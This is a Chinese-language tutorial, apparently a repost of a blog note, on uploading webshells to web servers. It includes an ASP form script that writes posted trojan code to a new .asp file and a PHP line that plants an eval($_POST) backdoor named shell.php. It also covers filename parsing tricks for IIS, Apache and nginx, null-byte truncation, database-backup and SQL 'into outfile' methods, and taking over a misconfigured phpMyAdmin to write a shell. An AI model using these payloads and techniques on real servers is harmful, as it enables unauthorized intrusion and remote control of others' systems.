webshell上传


服务器配置

<form action=http://主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
</textarea>
<BR>
<center>

<input type=submit value=提交>
这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容
(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。
其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,
所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文的,可以截取下来。

PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,
通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。
但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,
但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,
可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。

解析漏洞上传

对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。
这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。

  1. iis目录解析漏洞
/xx.asp/xx.jpg

虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
  1. 文件解析漏洞
xx.asp;.jpg

在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
  1. 文件名解析
xx.cer/xx.cdx/xx.asa

在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行(其中asa文件是asp特有的配置文件,cer为证书文件)。
  1. fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg。

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

这里使用的fput创建一个shell.php文件,并写入一句话。
访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。
这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。
语言环境:PHP,prel,Bourne Shell,C等语言。

*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。
因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。
  1. apache解析漏洞
apache解析的方式是从右向左解析,如果不能解析成功,就会向左移动一个,但是后台上传通常是看上传文件的最右的一个后缀。
所以根据这个,可以将木马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制。

截断上传

在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00
(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格.
如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。

后台数据库备份

在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。
可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,
然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,
然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。

利用数据库语句上传

  1. mysql数据库into outfile
这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。
方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
  1. 建立新表写入木马
一些开源cms或者自制的webshell会有数据库管理功能,
在数据库管理功能里面有sql查询功能,
先使用create table shell(codetext);
创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。
然后使用insert into shell(code) values(‘一句话马’),
这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,
将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;
x就一定能够解析为php,不同的web服务器上面的服务程序不同,
然后过滤规则也不同,可能会使用其他的方式。
  1. phpMyadmin设置错误
phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件.
在查看的该文件的时候,如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置(默认为config)
说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,
而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。
但是root一般只能本地登陆,所以必须创建一个远程登陆用户。
用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。

笔记来源于:https://blog.csdn.net/qq_42357070/article/details/82881393


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM